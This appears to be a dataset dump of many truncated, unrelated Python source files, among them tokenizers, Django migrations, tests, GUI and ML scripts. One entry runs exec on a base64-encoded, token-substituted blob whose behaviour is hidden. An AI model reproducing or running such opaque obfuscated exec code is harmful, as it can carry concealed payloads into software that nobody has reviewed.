content
stringlengths
0
894k
type
stringclasses
2 values
from .annotation import Sentence from nltk.tokenize.punkt import PunktParameters from nltk.tokenize.punkt import PunktSentenceTokenizer from .ru.processor_tokenizer_ru import _ru_abbrevs from .en.processor_tokenizer_nltk_en import _en_abbrevs from itertools import combinations class ProcessorSentenceSplitter: """...
python
import datetime from django.db import IntegrityError from django.db.models import Min, Max from django.utils.timezone import make_aware from zabiegi import models def integruj_jednostki(): for w in ( models.WykazStrona1.objects.all() .exclude(dane_operacji_jednostka_wykonująca_kod=None) ...
python
#!/usr/local/bin/python # # Copyright (c) 2009-2014 Sippy Software, Inc. All rights reserved. # # All rights reserved. # # Redistribution and use in source and binary forms, with or without modification, # are permitted provided that the following conditions are met: # # 1. Redistributions of source code must retain th...
python
from datasets import load_dataset cord = load_dataset("katanaml/cord") # labels = cord['train'].features['ner_tags'].feature.names # id2label = {v: k for v, k in enumerate(labels)} label2id = {k: v for v, k in enumerate(labels)} # from PIL import Image from transformers import LayoutLMv2Processor from datasets i...
python
# Generated by Django 3.2.6 on 2021-09-18 04:13 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('registration', '0011_auto_20210917_0032'), ] operations = [ migrations.DeleteModel( name='Links', ), migrations.RemoveFi...
python
# coding: utf-8 import scipy import json import re import traceback import allennlp from allennlp.predictors.predictor import Predictor import sys from allennlp.commands.elmo import ElmoEmbedder from spacy.lang.en import English import numpy as np # import tensorflow as tf import torch from hyperpara import * impor...
python
import stoked import numpy as np from functools import partial import matplotlib.pyplot as plt def harmonic_force(time, position, orientation, stiffness): return -stiffness*position nm = 1e-9 us = 1e-6 stiffness = 2e-6 radius = 25*nm N = 15 initial = np.random.uniform(-300*nm, 300*nm, size=(N,2)) Q = 1e-18 bd =...
python
# Test the unicode support! 👋 ᚴ=2 assert ᚴ*8 == 16 ᚴ="👋" c = ᚴ*3 assert c == '👋👋👋' import unicodedata assert unicodedata.category('a') == 'Ll' assert unicodedata.category('A') == 'Lu' assert unicodedata.name('a') == 'LATIN SMALL LETTER A' assert unicodedata.lookup('LATIN SMALL LETTER A') == 'a' assert unic...
python
from pathlib import Path from typing import Union import click import matplotlib.pyplot as plt from ertk.dataset import read_features @click.command() @click.argument("input", type=click.Path(exists=True, dir_okay=False, path_type=Path)) @click.argument("instance", type=str, default="2") def main(input: Path, insta...
python
import nbconvert, git, yaml, inspect; from pathlib import Path class FrontMatters(nbconvert.exporters.MarkdownExporter): def from_notebook_node(self, nb, resources=None, **kw): nb, resources = super().from_notebook_node(nb, resources, **kw) md = dict(resources['metadata']) md['author'] = au...
python
import random from arcade import Sprite, load_texture, check_for_collision_with_list from activities import explore, backtrack, follow_the_food, find_the_food from path import Path class Ant(Sprite): def __init__(self, x, y, arena, colony, scale=1, activity="wander"): super().__init__(center_x=x, center_y...
python
# -*- coding: utf-8 -*- """ Created on Fri Dec 29 13:52:01 2017 @author: User """ import re aPara = "this is a list of words. and here is another" aList = [] print(aPara.split()) # splits into words print(len(aPara.split())) # count of words for item in re.split('[.]', aPara): #splits into sentences ...
python
## Copyright 2015-2019 Ilgar Lunin, Pedro Cabrera ## Licensed under the Apache License, Version 2.0 (the "License"); ## you may not use this file except in compliance with the License. ## You may obtain a copy of the License at ## http://www.apache.org/licenses/LICENSE-2.0 ## Unless required by applicable law or...
python
import argparse from typing import Optional from typing import Sequence BLACKLIST = [ b'\x64\x6e\x63', #dnc ] def main(argv: Optional[Sequence[str]] = None) -> int: parser = argparse.ArgumentParser() parser.add_argument('filenames', nargs='*', help='Filenames to check') args = parser.parse_args(argv)...
python
# coding=utf-8 """update_xml_verses.py """ from __future__ import print_function import sys, re,codecs sys.path.append('../step3e') # the Entry object from transcode import xml_header,read_entries class Edit(object): def __init__(self,lines): self.lines = lines assert lines[0] == '<edit>' assert lines[-1] == ...
python
# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not us...
python
from subprocess import call from core import kde from core.action import has_dependency class IconTheme4(kde.KDE4Action): """Change KDE's icon theme.""" def arguments(self): return [ ('theme', 'Icon theme name.') ] def execute(self, theme): kde.writeconfig("Icons", "Th...
python
import logging import progressbar from django.core.management.base import BaseCommand from contentcuration.models import Channel from contentcuration.utils.nodes import generate_diff from contentcuration.utils.nodes import get_diff logging.basicConfig() logger = logging.getLogger('command') class Command(BaseComma...
python
import os import re import json import random import codecs import argparse from template_config import * from nltk import word_tokenize from collections import defaultdict from transformers.tokenization_roberta import RobertaTokenizer ADD_INDEX_ID = 0.7 ADD_INDEX_NAME = 0.3 OP_VAL_EQUAL = 0.4 USE_TABLE_...
python
""" Tests for exact diffuse initialization Notes ----- These tests are against four sources: - Koopman (1997) - The R package KFAS (v1.3.1): test_exact_diffuse_filtering.R - Stata: test_exact_diffuse_filtering_stata.do - Statsmodels state space models using approximate diffuse filtering Koopman (1997) provides anal...
python
# Generated from astLogic/propositional.g4 by ANTLR 4.7.2 # encoding: utf-8 from antlr4 import * from io import StringIO from typing.io import TextIO import sys def serializedATN(): with StringIO() as buf: buf.write("\3\u608b\ua72a\u8133\ub9ed\u417c\u3be7\u7786\u5964\3\f") buf.write("B\4\2\t\2\3\2\...
python
frase = " Amo Física, é a mãe de todas as ciências asd " # atribuição duma string à uma variável # print(frase[2]) # print(frase[0:4]) # vai do caractere 0 ao 4, excluindo o 4 # print(frase[0:10]) # print(frase[0:15:2]) # vai do crc.0 ao crc.15 saltando de 2 em 2 # print(frase[:13]) # começa do caractere inicial ...
python
"""Syntax checks These checks verify syntax (schema), in particular for the ``extra`` section that is otherwise free-form. """ from . import LintCheck, ERROR, WARNING, INFO class extra_identifiers_not_list(LintCheck): """The extra/identifiers section must be a list Example:: extra: ide...
python
# # All or portions of this file Copyright (c) Amazon.com, Inc. or its affiliates or # its licensors. # # For complete copyright and license terms please see the LICENSE at the root of this # distribution (the "License"). All use of this software is governed by the License, # or, if provided, by the license below or th...
python
from cStringIO import StringIO import tldextract import web try: import json except ImportError: from django.utils import simplejson as json urls = ( '/api/extract', 'Extract', '/api/re', 'TLDSet', '/test', 'Test', ) class Extract: def GET(self): url = web.input(url='').ur...
python
#!/usr/bin/env python3 # import many libraries from __future__ import print_function import pickle import os.path import io import subprocess import urllib, json from googleapiclient.discovery import build from google_auth_oauthlib.flow import InstalledAppFlow from google.auth.transport.requests import Request impor...
python
import logging from typing import TYPE_CHECKING, Optional import numpy as np from .base import BaseCallback if TYPE_CHECKING: from ..base import BaseTuner class EarlyStopping(BaseCallback): """ Callback to stop training when a monitored metric has stopped improving. A `model.fit()` training loop wi...
python
# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'C:/Users/Zeke/Google Drive/dev/python/zeex/zeex/core/ui/actions/import.ui' # # Created: Mon Nov 13 22:57:16 2017 # by: pyside-uic 0.2.15 running on PySide 1.2.2 # # WARNING! All changes made in this file will be lost! from PySide impor...
python
import os from pony import orm from datetime import datetime db = orm.Database() class LogEntry(db.Entity): client_ip = orm.Required(str) client_port = orm.Required(int) raw_accept_date = orm.Required(str) accept_date = orm.Required(datetime, 6) frontend_name = orm.Required(str) backend_name...
python
exec("import re;import base64");exec((lambda p,y:(lambda o,b,f:re.sub(o,b,f))(r"([0-9a-f]+)",lambda m:p(m,y),base64.b64decode("N2MgMWEsNTEsZixlLGMsNDUsYmEsMjYsMjgKZDkgOTAuZDguN2IgN2MgNWYKCjE3ICAgICAgICA9ICdiYi5jZC5iNycKMWMgICAgICAgPSA1MS41Zig5ZD0xNykKY2IgICAgICAgICAgID0gNWYoMTcsIDI4LjFiKQo2ICAgICAgICAgID0gMWEuMzEoYmEuO...
python
from contextlib import suppress from lsst.daf.butler import DatasetRef, FileDataset, CollectionType from huntsman.drp.utils.fits import read_fits_header, parse_fits_header def dataId_to_dict(dataId): """ Parse an LSST dataId to a dictionary. Args: dataId (dataId): The LSST dataId object. Returns:...
python
from .. import initializations from ..layers.core import MaskedLayer from .. import backend as K import numpy as np class LeakyReLU(MaskedLayer): '''Special version of a Rectified Linear Unit that allows a small gradient when the unit is not active (`f(x) = alpha*x for x < 0`). # Input shape ...
python
#!/usr/bin/env python # Licensed to Cloudera, Inc. under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. Cloudera, Inc. licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you ma...
python
from datetime import datetime from unittest import TestCase import xml.etree.ElementTree as ET from youtube_discussion_tree_api.utils import Node from youtube_discussion_tree_api._xml import _create_argument, _create_pair, _serialize_tree import os class TestXmlTreeConstruction(TestCase): def test_create_argumen...
python
# -*- coding: utf-8 -*- import asyncio import logging import os import sys from pathlib import Path import subprocess import numpy as np import pandas as pd import flask import dash from dash.dependencies import Input, Output, State import dash_core_components as dcc import dash_html_components as html import plotly....
python
""" This week’s question: Implement a simple version of autocomplete, where given an input string s and a dictionary of words dict, return the word(s) in dict that partially match s (or an empty string if nothing matches). Example: let dict = ['apple', 'banana', 'cranberry', 'strawberry'] $ simpleAutocomplete('app')...
python
import re from setuptools import setup, find_packages INIT_FILE = 'dimensigon/__init__.py' with open("README.md", "r") as fh: long_description = fh.read() def find_version(): with open(INIT_FILE) as fp: for line in fp: # __version__ = '0.1.0' match = re.search(r"__version__\...
python
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ app.modules.logs ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 日志模块 """ from flask_smorest import Blueprint blp = Blueprint("Log", __name__, url_prefix="/logs", description="日志模块")
python
import pytest import numpy as np from whatlies.language import SpacyLanguage from whatlies.transformers import Pca words = [ "prince", "princess", "nurse", "doctor", "banker", "man", "woman", "cousin", "neice", "king", "queen", "dude", "guy", "gal", "fire"...
python
import functools import numpy as np import psyneulink as pnl import psyneulink.core.components.functions.transferfunctions input_layer = pnl.TransferMechanism( size=3, name='Input Layer' ) action_selection = pnl.TransferMechanism( size=3, function=psyneulink.core.components.functions.transferf...
python
""" This class provides functionality for managing a generig sqlite or mysql database: * reading specific fields (with the possibility to filter by field values) * storing calculated values in the dataset Created on May 11 2018 @author: Jerónimo Arenas García """ from __future__ import print_function # For pyth...
python
"""Jurisdictions are a small complete list. Thus they can be operated from a dictionary. Still, persisted in DB for query consitency. Thus maintaining both synchronised and using at convenience.""" from db import Session from db import Jurisdiction from .lazyinit import _cached_jurisdictions from .api_wikipedia impor...
python
#!/usr/bin/env python3 # Utility functions. import sys import os import re # Prints passed objects to stderr. def warning(*objs): print("WARNING: ", *objs, file=sys.stderr) # Converts passed string by uppercasing first letter. firstLetterToUppercase = lambda s: s[:1].upper() + s[1:] if s else '' # Converts passe...
python
# Generated by Django 2.1.1 on 2018-09-18 12:24 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Products', fields=[ ('id', models.AutoField...
python
import math import numpy as np from mlpy.numberGenerator.bounds import Bounds from experiments.problems.functions.structure.function import Function class Elliptic(Function): def function(self, x): return np.sum(np.power(np.power(10., 6 ), np.divide(np.arange(len(x)), np.subtract(x, 1.)))) def getBo...
python
""" Created by Constantin Philippenko, 18th January 2022. """ import matplotlib matplotlib.rcParams.update({ "pgf.texsystem": "pdflatex", 'font.family': 'serif', 'text.usetex': True, 'pgf.rcfonts': False, 'text.latex.preamble': r'\usepackage{amsfonts}' }) import hashlib import os import sys import...
python
x = 10.4 y = 3.5 x -= y print x
python
# Generated by Django 3.1.7 on 2021-03-15 22:30 from django.db import migrations, models import django.db.models.deletion import manager.storage import projects.models.sources class Migration(migrations.Migration): dependencies = [ ('socialaccount', '0003_extra_data_default_dict'), ('projects', ...
python
import tensorflow as tf from tensorflow.keras import Sequential from tensorflow.keras.layers import Conv2D, MaxPool2D, Dense, Flatten, Dropout from tensorflow.keras.preprocessing.image import ImageDataGenerator from sklearn.utils import class_weight import numpy as np tf.keras.backend.set_floatx('float64') drop = ...
python
import requests import re import json import os import copy class JsonProcessorFile(object): """Generate a dict of processing options that exist in a dictionary of dictionaries. Allow renaming of the fields. The results of this class is used to flatten out a JSON into CSV style. For example the following...
python
# Copyright (c) 2020 Graphcore Ltd. All rights reserved. import numpy as np import popart import torch import pytest import torch.nn.functional as F from op_tester import op_tester # `import test_util` requires adding to sys.path import sys from pathlib import Path sys.path.append(Path(__file__).resolve().parent.paren...
python
import argparse import matplotlib.pyplot as plt import numpy as np import pandas as pd import seaborn as sns import torch from pytorch_lightning import seed_everything from sklearn.decomposition import PCA from sggm.data.uci_boston.datamodule import ( UCIBostonDataModule, UCIBostonDataModuleShifted, ) from sgg...
python
import PySimpleGUI as sg from NetLogoDOE.src.gui.custom_components import title, question_mark_button from NetLogoDOE.src.gui.custom_windows import show_help_window from NetLogoDOE.src.gui.help_dictionary import help_text class StandardResultsScreen: def __init__(self): button_size = (30, 1) but...
python
from models.gru_net import GRUNet from models.res_gru_net import ResidualGRUNet from models.multi_res_gru_net import MultiResidualGRUNet from models.multi_seres_gru_net import MultiSEResidualGRUNet from models.multi_res2d3d_gru_net import MultiResidual2D3DGRUNet from models.multi_seres2d3d_gru_net import MultiSEResidua...
python
# programa que solicita uma temperatura em graus Farenheit e converte para graus Celsius # solicita a temperatura em graus Farenheit temperatura_farenheit = float(input("Informe a temperatura em graus Farenheit: ")) # Converte a temperatura de Farenheit para Celsius temperatura_celsius = (5 * (temperatura_farenheit - ...
python
import math import discord import mail import os client = discord.Client() env = os.environ DISCORD_TOKEN = env.get("DISCORD_TOKEN") CHANS = env.get("DISCORD_CHANS") if CHANS: CHANS = list(map(lambda x: int(x), CHANS.split(","))) else: CHANS = [] @client.event async def on_ready(): print("Logged in") @client....
python
# # This file is part of Python Client Library for STAC. # Copyright (C) 2019 INPE. # # Python Client Library for STAC is free software; you can redistribute it and/or modify it # under the terms of the MIT License; see LICENSE file for more details. # """Utility data structures and algorithms.""" import json import p...
python
import random import re from abc import ABC, abstractmethod from datetime import datetime from pathlib import Path from typing import Dict, List from itertools import groupby, chain import pandas as pd from models import ListNews, News, Cluster from sqlalchemy.orm import Session from utils import convert_str_to_date ...
python
import sys import io from arc import color, CLI def test_colorize(): colored = color.colorize("test", color.fg.RED) assert colored.startswith(str(color.fg.RED)) assert colored.endswith(str(color.effects.CLEAR)) colored = color.colorize("test", color.fg.RED, clear=False) assert colored.startswith(...
python
# Copyright 2013 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or ...
python
import numpy as np import lmdb import caffe N = 1000 # Test Data X = np.zeros((N, 3, 32, 32), dtype=np.uint8) y = np.zeros(N, dtype=np.int64) # We need to prepare the database for the size. We'll set it 10 times # greater than what we theoretically need. There is little drawback to # setting this too big. If you sti...
python
import sys from glob import glob from os.path import join, dirname from kivy.uix.scatter import Scatter from kivy.app import App from kivy.graphics.svg import Svg from kivy.core.window import Window from kivy.uix.floatlayout import FloatLayout from kivy.lang import Builder Builder.load_string(""" <SvgWidget>: do_r...
python
from decimal import Decimal from django.contrib.auth.models import AbstractUser from django.db import models from django.db.models import Sum class CustomUser(AbstractUser): """ Clase que modela un usuario del sistema. Atributos: avatar: avatar que identifica al usuario. (String) cash: dinero l...
python
# AUTOGENERATED BY NBDEV! DO NOT EDIT! __all__ = ["index", "modules", "custom_doc_links", "git_url"] index = {"USE_64": "01_Pairwise_Distance.ipynb", "gpu_dist_matrix": "01_Pairwise_Distance.ipynb", "component_mixture_dist_matrix": "01_Pairwise_Distance.ipynb", "makeCurvesFromDistanceMatrix...
python
import pytest from app.models import Expense, User from app.models import expense pytestmark = pytest.mark.nologin def headers(tok): return {'Authorization': f'Bearer {tok}'} def test_get_expenses(db_with_expenses, token, client): resp = client.get('/api/expenses?page=1&page_size=10', ...
python
import os from oraculo.gods import faveo, faveo_db, exceptions from . import entitys, base from .exceptions import ( DoesNotExist, NotSetHelpDeskUserInstance, NotIsInstance) class Prioritys(object): _url = 'api/v1/helpdesk/priority' _entity = entitys.Priority objects = base.BaseManageEntity(_url, ...
python
import re import time import io import sys import argparse from collections import defaultdict # parse/validate arguments argParser = argparse.ArgumentParser() argParser.add_argument("-d", "--delimiter", type=str, default='\t', help="delimiter defaults to \t") argParser.add_argument("-1", "--firstFilename", type=str) ...
python
""" File name: predict_full_brain.py Author: Jana Rieger Date created: 03/12/2018 This is the main script for predicting a segmentation of an input MRA image. Segmentations can be predicted for multiple models eather on rough grid (the parameters are then read out from the Unet/models/tuned_params.cvs file) or on fine...
python
import lumos.numpy.casadi_numpy as np import pytest def test_basic_logicals_numpy(): a = np.array([True, True, False, False]) b = np.array([True, False, True, False]) assert np.all(a & b == np.array([True, False, False, False])) if __name__ == "__main__": pytest.main()
python
import asyncio from string import capwords import DiscordUtils import discord from discord.ext.commands import Context from embeds import error_embed, success_embed, infoCheckEmbed from settings import BOT_TOKEN, prefix, description, verified_role_id from settings import verification_channel_id from database import e...
python
class DataIntegrityException(Exception): pass class AuthenticationException(Exception): pass class UnauthorizedException(Exception): pass
python
"""Module for defining primitives and primitve categories """ from collections import defaultdict from enum import Enum import json import pprint import pkgutil class Primitive(object): """A primitive""" def __init__(self): self.name = '' self.task = '' self.learning_type = '' ...
python
from django.db.models import Q from rest_framework.filters import (OrderingFilter, SearchFilter) from rest_framework.generics import (ListAPIView, RetrieveAPIView) from posts.models import Comment from posts.api.permissions import IsOwnerOrReadOnly from posts.api.pagination import P...
python
from tkinter import * from tkinter import ttk from tkinter import messagebox my_window = Tk() my_window.title("our final project/help") my_window.geometry("1366x768") my_window.resizable(1, 1) my_window.configure(bg="grey") L1 = Label(my_window, text="ENQUIRY MANAGEMENT SYSTEM", bg="lavender", fg="blue", font...
python
import os import shutil import sys import time import unittest from sitetree import * class TestCopyFuncs(unittest.TestCase): def setUp(self): unittest.TestCase.setUp(self) os.makedirs('testdata/test_sitetree/src/nested') with open('testdata/test_sitetree/src/nested/fileA.txt', "w") as ...
python
# copyright 1999 McMillan Enterprises, Inc. # license: use as you please. No warranty. # # A subclass of Archive that can be understood # by a C program. See uplaunch.cpp for unpacking # from C. import archive import struct import zlib import strop class CTOC: """A class encapsulating the table of contents of a CA...
python
from django.contrib import admin from .models import Organization, Metadata admin.site.register(Organization) admin.site.register(Metadata)
python
# coding=utf-8 # Copyright 2022 The Google Research Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicab...
python
# __init__.py # # Copyright(c) Exequiel Ceasar Navarrete <exequiel.navarrete09gmail.com> # Licensed under MIT # Version 1.0.0-alpha2 from compiler.tokenizer import Tokenizer from compiler.parser import Parser from compiler.transformer import Transformer from compiler.code_generator import CodeGenerator class Compiler...
python
from testtube.helpers import Frosted, Nosetests, Pep257, Flake8 PATTERNS = ( # Run pep257 check against a file if it changes, excluding files that have # test_ or tube.py in the name. # If this test fails, don't make any noise (0 bells on failure) ( r'((?!test_)(?!tube\.py).)*\.py$', [P...
python
# Automatically generated by pb2py # fmt: off from .. import protobuf as p if __debug__: try: from typing import Dict, List # noqa: F401 from typing_extensions import Literal # noqa: F401 except ImportError: pass class MoneroSubAddressIndicesList(p.MessageType): def __init__( ...
python
def power_set(s): return power_set_util(list(s), 0) def power_set_util(s, index): if index == len(s): all_subsets = [set()] else: all_subsets = power_set_util(s, index + 1) new_subsets = [] for subset in all_subsets: concat = set(subset) conca...
python
name = "mtgtools"
python
import os import re import setuptools with open("README.MD", "r") as fh: long_description = fh.read() def find_version(fnam, version="VERSION"): with open(fnam) as f: cont = f.read() regex = f'{version}\s*=\s*["]([^"]+)["]' match = re.search(regex, cont) if match is None: raise Ex...
python
#Crie um programa que leia uma frase qualquer # e dia se ela é um palindromo; desconsiderando os espaços # Ex. apos a sopa ; a sacada da casa, a torre da derrota frase = str(input("Digite uma frase: ")).strip().upper() palavras = frase.split() junto = ''.join(palavras) inverso = '' for letra in range(len(junto) -1, -...
python
class Agent: def __init__(self, screen_resolution): self.resolution = screen_resolution self.fitness = 0 self.dead = False self.screen = None self.y = screen_resolution[1]//2 self.rect = ((10, self.y), (self.resolution[0]//20, self.resolution[0]//25)) self.vve...
python
from lstm_model import LstmModel import numpy as np from trajectory import Trajectory, generate_trajectory, generate_trajectories, stochastic_policy_adapter from solver import value_iteration, stochastic_policy_from_value_expectation from snake_ladder import SnakeLadderWorld from supervised_utils import trajectory_list...
python
from .legion_tools import * from .hamiltonian_gen import * from collections import OrderedDict def mf_calc(base_params): fd = base_params.fd fd_array = np.linspace(10.44, 10.5, 2001) fd_array = np.hstack([fd_array, fd]) fd_array = np.unique(np.sort(fd_array)) mf_amplitude_frame = mf_characterise(b...
python
#!/bin/python def sortSelection(A, k): """ Selects the @k-th smallest number from @A in O(nlogn) time by sorting and returning A[k] Note that indexing begins at 0, so call sortSelection(A, 0) to get the smallest number in the list, call sortselection(A, len(A) / 2) to get the median number...
python
#!/usr/bin/python3 import sys import os import re import shutil optimize = 3 link_time_optimize = 3 sources = [ 'audio/audio.c', 'audio/source.c', 'audio/staticsource.c', 'audio/wav_decoder.c', 'audio/vorbis_decoder.c', 'filesystem/filesystem.c', 'graphics/batch.c', 'graphics/font.c', 'graphics/gra...
python
import unittest from board import Board class BoardTests(unittest.TestCase): def setUp(self): self.b = Board() return super().setUp() def test_initial_board(self): expected = [['.', '.', '.'], ['.', '.', '.'], ['.', '.', '.']] self.assertEqual(self.b.board, expected) def...
python
import os from bot import app_vars def clean_file_name(file_name: str) -> str: for char in ["\\", "/", "%", "*", "?", ":", '"', "|"] + [ chr(i) for i in range(1, 32) ]: file_name = file_name.replace(char, "_") file_name = file_name.strip() return file_name def get_abs_path(file_name...
python
import copy import six from .error import SchemaError, Error, Invalid class Schema(object): """ A schema that validates data given to it using the specified rules. The ``schema`` must be a dictionary of key-value mappings. Values must be callable validators. See ``XX``. The ``entire`` argument...
python
#!/usr/bin/env python # # Copyright 2013 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import optparse import os import shutil import re import sys import textwrap from util import build_utils import jar sys.path.appe...
python
import gym import torch import numpy as np import seaborn as sns from hips.plotting.colormaps import gradient_cmap import matplotlib.pyplot as plt import os from tikzplotlib import save from sds_numpy import rARHMM from sds_torch.rarhmm import rARHMM from lax.a2c_lax import learn device = torch.device("cuda:0" if tor...
python
import requests from bs4 import BeautifulSoup as bs import time from time import sleep import os import sys import xlsxwriter from random import randint import pyautogui import pickle from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains from selenium.webdriver.chrome.options i...
python
import unittest from rover import control class ControlTest(unittest.TestCase): def test_example(self): input = """5 5 1 2 N LMLMLMLMM 3 3 E MMRMMRMRRM""" expected = """1 3 N 5 1 E""" actual = control.launch_mission(input) self.assertEqual(actual, expected) def test_simple...
python
class Property: def __init__(self, name='', value=''): self.name = name self.value = value
python
from pypy.module.cpyext.test.test_api import BaseApiTest class TestIterator(BaseApiTest): def test_check_iter(self, space, api): assert api.PyIter_Check(space.iter(space.wrap("a"))) assert api.PyIter_Check(space.iter(space.newlist([]))) assert not api.PyIter_Check(space.w_type) ass...
python
import os from jarjar import jarjar def writetofile(f, **kwargs): """write kwargs to a file""" s = '' for k, v in kwargs.items(): s += '%s=\'%s\'\n' % (k, v) with open(f, 'w') as fh: fh.write(s) jj = jarjar() print('-- vanilla') print('channel', jj.default_channel) print('message', ...
python